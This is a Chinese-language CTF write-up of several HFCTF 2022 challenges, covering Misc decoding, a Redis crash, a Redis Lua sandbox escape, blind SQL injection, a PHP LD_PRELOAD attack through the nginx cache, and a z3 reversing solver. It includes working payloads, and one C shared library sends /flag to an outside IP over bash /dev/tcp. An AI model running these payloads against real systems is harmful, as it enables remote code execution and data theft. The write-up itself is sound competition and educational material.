虎符网络安全CTF writeup分享

admin 2022年4月23日03:18:58评论122 views字数 6883阅读22分56秒阅读模式
比赛背景

虎符网络安全CTF writeup分享

虎符网络安全CTF大赛在3月19号—3月20号已经落幕了,本次比赛斗哥一共派出了两只队伍参加,经过32个小时激战后成功杀进了决赛圈,分别获得企业队第六、第十六名的名次,总共攻破7道题目(4道Misc,2道Web,1道Reverse)。因为本次比赛是由清华大学以及奇安信集团联合举办,所以赛题出的也是相当的给力,在本次比赛中,带来的收获也是颇多的(据参赛选手说,如果不是因为时间有限,还能答出更多题目呢。),下面就由斗哥给大家分享这次比赛的精彩题目吧~


一:Misc | Check in


请给出步骤及截图:

虎符网络安全CTF writeup分享
虎符网络安全CTF writeup分享

此题是签到题,(CTF的签到题普遍比较简单,在这边只需要关注公众号即可)


二:Misc | Plain Text

请给出步骤及截图:

虎符网络安全CTF writeup分享
虎符网络安全CTF writeup分享

进入到题目,首先看格式就可以初步判断为base64,然后进行base64解码。

解码得到的结果:


dOBRO POVALOWATX NA MAT^, WY DOLVNY PEREWESTI TO NA ANGLIJSKIJ QZYK. tWOJ SEKRET

SOSTOIT IZ DWUH SLOW. wSE BUKWY STRO^NYE. qBLO^NYJ ARBUZ. vELAEM WAM OTLI^NOGO

DNQ.



解码后将结果尝试放到翻译软件。

翻译软件判断为波兰语,但是翻译出来的语句不通顺,且有几个单词没翻译。所以判断是为其他语言编码。


虎符网络安全CTF writeup分享



通过搜索前面几个字段的内容,发现网页显示了很多俄文的网站,所以判断是俄语编码,然后可以通过iconv命令来转换编码。KOI-7为俄文编码格式,我们通过linux来将句子编码成原有字句。

(这题有点坑,这个苹果西瓜一直连不起来,后面才看到_)


HFCTF{apple_watermelon}

虎符网络安全CTF writeup分享

虎符网络安全CTF writeup分享


三:Misc | Quest-Crash

请给出步骤及截图:

虎符网络安全CTF writeup分享


题目写着崩溃。进到页面,也很大两个字,Crash me(崩溃我的意思)。

虎符网络安全CTF writeup分享



根据题意,就是要让服务器崩溃掉嘛,那么最简单也是最暴力的方法就是,暴力破解(一直往服务器内部输入数据)。


我们通过Get方式尝试了下没什么作用,并不能够存储数据到服务器,就试了一下SET请求。然后请求了几次发现,用户向服务器发送的数据,都会在页面中显示出来。

虎符网络安全CTF writeup分享

那我们可以打开bp,开启抓包,使用爆破功能一直往set请求向服务器发送数据,直到他溢出。服务器崩溃,我们的目的就达到了。

虎符网络安全CTF writeup分享

第一个位置的值是为key值,第二个为value值,爆破时要将value值输入的数据大一点,我们爆破的次数就会少一点。


在info中,滑到最底下keys可以看存入了多少数据。

虎符网络安全CTF writeup分享

等到爆破时状态码从200变成了500时,那么就说明服务器内部错误,就是崩溃了。

虎符网络安全CTF writeup分享

我们点击页面开始报错了,显示服务器内部错误。

这时点击getflag。

虎符网络安全CTF writeup分享

得到flag。


四:Misc | Quest-RCE

请给出步骤及截图:

虎符网络安全CTF writeup分享

此题和前段时间爆出的(CVE-2022-0543)有相似之处,Debian 以及 Ubuntu 发行版的源在打包 Redis 时,不慎在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。


我们通过redis执行多条命令bypass掉白名单,然后换行就行了,Payload直接出。确认lib路径,指向该路径,直接RCE。


然后通过%0a发现无果    rn 执行多条语句

执行ls,查看目录。

虎符网络安全CTF writeup分享

发现了一个flag文件,通过cat查看。

虎符网络安全CTF writeup分享

得到flag。


Payload:


{"query":"SET A Arneval "local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_io'); local io = io_l(); local f = io.popen('cat xxxxxxxxxx', 'r'); local res = f:read('*a'); f:close(); return res" 0 rn"}


此处附上赛题源码。

from flask import Flask, request, send_file

import socket, time, subprocess, re

app = Flask(__name__)

WHITELIST = ['SYSINFO', 'SET ', 'GET ', 'INFO', 'KEYS ', 'FLUSHALL',]

BLACKLIST = ['SLAVE', 'CONFIG', 'CLUSTER', 'SHUTDOWN',

'ACL','COMMAND','FAILOVER','MEMORY','MODULE','SAVE']

@app.route("/")

def index():

  return send_file('index.html')

@app.route("/assets/water.min.css")

def css():

  return send_file('assets/water.min.css')

def recvall(sock):

  BUFF_SIZE = 4096 # 4 KiB

  data = b''

  while True:

    part = sock.recv(BUFF_SIZE)

    data += part

    if len(part) < BUFF_SIZE:

      # either 0 or end of data

      break

  return data

def reqredis(command):

  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  sock.connect(('127.0.0.1', 6379))

  sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

  time.sleep(0.1)

  sock.sendall(command)

  time.sleep(0.1)

   ret = recvall(sock)

  sock.close()

  ret = ret.decode()

  ret = re.sub(r'^+','', ret)

  ret = re.sub(r'^-','', ret)

  ret = re.sub(r'^*.*n','', ret, flags=re.M)

  ret = re.sub(r'^$.*n','', ret, flags=re.M)

  if len(ret) == 0:

    ret ="[Empty response]"

  return ret

@app.route("/sendreq", methods=['POST'])

def req():

  data: str = request.get_json()['query']

  if data == "SYSINFO":

    return subprocess.check_output(['uname', '-a']) +

      b"nn" + subprocess.check_output(['dpkg', '-s', 'redis-server']) +

      b"nn" + subprocess.check_output(['ps', 'aux'])

  for i in WHITELIST:

    if data.startswith(i):

      break

  else:

    return "Operation not in whitelist: " + str(WHITELIST)

  for i in BLACKLIST:

    if i in data.upper():

      return "Blacklist" + i

  return reqredis(data.encode()+ b"rn")


五:Web | babysql

请给出步骤及截图:

虎符网络安全CTF writeup分享

进入靶场查看限制,先从账号上面做文章,然后发现账号不过滤单引号,然后开始对密码进行尝试。

尝试多次后发现过滤的字符太多了,只能使用like函数,用like函数爆出两位特殊字符后,就开始爆剩下的字符了。

如果页面返回401则为账号密码错误,如果返回500则为SQL查询语句错误。

通过页面返回的结果可以判断为布尔盲注,即可爆出所有的密码。


虎符网络安全CTF writeup分享

通过盲注,来不断猜测字符。最后得出密码为

m52fpldxyylb^eizar!8gxh$

payload:

username=a%27||`password`like%27m52§6§%25%27%26%26`id`=%271%27||`password`regexp'[&password=1


因为like语句查询是不区分大小写的,所以我们得到的密码还需要爆破大小写转换问题。

通过爆破,2的十八次方,成功获取正确的payload。

虎符网络安全CTF writeup分享
虎符网络安全CTF writeup分享
虎符网络安全CTF writeup分享

登录密码为:m52FPlDxYyLB^eIzAr!8gxh$


因为暴力破解的次数需要的非常多,是比较麻烦的,所以在赛后又去研究了下like语句如何区分大小写。

Payload:

username=b%27||`password`COLLATE%27utf8mb4_0900_as_cs%27like%27m52F§6§%25%27%26%26`id`=%271%27||`password`regexp'[&password=1


通过COLLATE’utf8 来做like语句大小写的区分即可。

虎符网络安全CTF writeup分享

六:Web | ezphp

请给出步骤及截图:

虎符网络安全CTF writeup分享

参考:

https://tttang.com/archive/1384/

https://tttang.com/archive/1450/


赛题靶场:

https://buuoj.cn/challenges#[HFCTF2022]ezphp


赛题源码:

<?php

(empty($_GET["env"])) ? highlight_file(__FILE__) :

putenv($_GET["env"]) && system('echo hfctf2022');


os是debain 不是centos bash_func这个技巧没有用,因为system调用的是sh -c而不是 bash -c,

debain/ubuntu下sh是dash。

发现nignx缓存,动态链接加载。只需要想办法写入so文件到nginx缓存就可以了。

然后尝试复现。

Flag.c:

#include <stdlib.h>

#include <string.h>

__attribute__ ((constructor)) void call ()

{

    unsetenv("LD_PRELOAD");

    char str[65536];

    system("bash -c 'cat /flag' > /dev/tcp/1.13.248.170/8888");

    system("cat /flag > /var/www/html/flag");

}


通过linux将C文件生成so。

虎符网络安全CTF writeup分享

EXP:

import sys, threading, requests

URL = 'http://2d99086e-132c-48b7-a826-1024adf88884.node4.buuoj.cn:81/'

nginx_workers = [12, 13, 14, 15]

done = False


# upload a big client body to force nginx to create a /var/lib/nginx/body/$X

def uploader():

    print('[+] starting uploader')

    while not done:

        requests.get(URL, data=open("C:\Users\86137\Desktop\py\libsss.so", "rb").read() + (16*1024*'A').encode())


for _ in range(16):

    t = threading.Thread(target=uploader)

    t.start()


def bruter(pid):

    global done


    while not done:

        print(f'[+] brute loop restarted: {pid}')

        for fd in range(4, 32):

            f = f'/proc/{pid}/fd/{fd}'

            print(f)

            try:

                r = requests.get(URL, params={

                    'env': 'LD_PRELOAD='+f,

                })

                print(r.text)

            except Exception:

                pass


for pid in nginx_workers:

    a = threading.Thread(target=bruter, args=(pid, ))

    a.start()


在通过py脚本,一直往服务器传写入so文件,之后在URL后面访问flag,得到答案。

虎符网络安全CTF writeup分享
虎符网络安全CTF writeup分享

在URL后+/flag下载。


七:Reverse | fpbe

请给出步骤及截图:

赛题附件:

https://tsingqian-datacon-private-pro.oss-cn-shenzhen.aliyuncs.com/22/question_attachment/3e775e97b14847a4961a0094be09c63f.zip?Expires=1649403998&OSSAccessKeyId=STS.NTrpSPqC9YLn3Aif5DdY5iBZb&Signature=807XUgkijb9KX%2F86QgDwFLGGcXg%3D&security-token=CAIS9wF1q6Ft5B2yfSjIr5fHO%2BnknJwY7o6FMWfYgjURaNYZhofxgDz2IH1MenlqAu0ctvoxnmlR7vcSlqJrUZ5bTFDJWtNq6czxHqkLi9KT1fau5Jko1beHewHKeTOZsebWZ%2BLmNqC%2FHt6md1HDkAJq3LL%2Bbk%2FMdle5MJqP%2B%2FUFB5ZtKWveVzddA8pMLQZPsdITMWCrVcygKRn3mGHdfiEK00he8Tojsfjhk5zDsUCB0galmr8vyt6vcsT%2BXa5FJ4xiVtq55utye5fa3TRYgxowr%2Fou0vweomqd5o%2FDWQAIu0TWKY%2Fd9tx%2BMQl%2BfbMgHKpJvBxdJDGCYDu5GoABgF6irfw4E%2BV1tgZXoguGcmBA7o05zM1zAiJF8jIrF7ONnIijAb5sZXS8hJp8I45RaYchAojnH8muWxLiXeIrJJHo0B4WpFfqOsf6SZMUWFG%2Byrcteumw9ze3EzDrtnwfHU7kRZCZVsZabak7T8LZ1gfercgCnBCjOUX%2BDfhD6vg%3D


(将此段链接输入到浏览器下载附件)


IDA动态调试,获取汇编代码,定位ELF文件头部信息(动态调试获取内涵ELF文件)。

虎符网络安全CTF writeup分享

虎符网络安全CTF writeup分享

虎符网络安全CTF writeup分享


插件导出或利用llvm-objdump命令。

llvm-objdump -S


再使用z3,编写脚本解题。

from z3 import *


flag1 = BitVec("flag1", 32)

flag2 = BitVec("flag2", 32)

flag3 = BitVec("flag3", 32)

flag4 = BitVec("flag4", 32)



s = Solver()

s.add(flag3 * 0xfb88 + flag4 * 0x6dc0 + flag2 * 0x71fb + flag1 * 0xcc8e == -0x5e8ca66b)

s.add(flag3 * 0x6ae5 + flag4 * 0xf1bf + flag2 * 0xadd3 + flag1 * 0x9284 == -0x1aabfcc0)

s.add(flag3 * 0x8028 + flag4 * 0xdd85 + flag2 * 0x652d + flag1 * 0xe712 == 0xa6f374484da3)

s.add(flag3 * 0xca43 + flag4 * 0x822c + flag2 * 0x7c8e + flag1 * 0xf23a == 0xb99c485a7277)

print s.check()

m = s.model()

print m



虎符网络安全CTF writeup分享
END





虎符网络安全CTF writeup分享

原文始发于微信公众号(国科漏斗社区):虎符网络安全CTF writeup分享

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日03:18:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   虎符网络安全CTF writeup分享http://cn-sec.com/archives/915873.html

发表评论

匿名网友 填写信息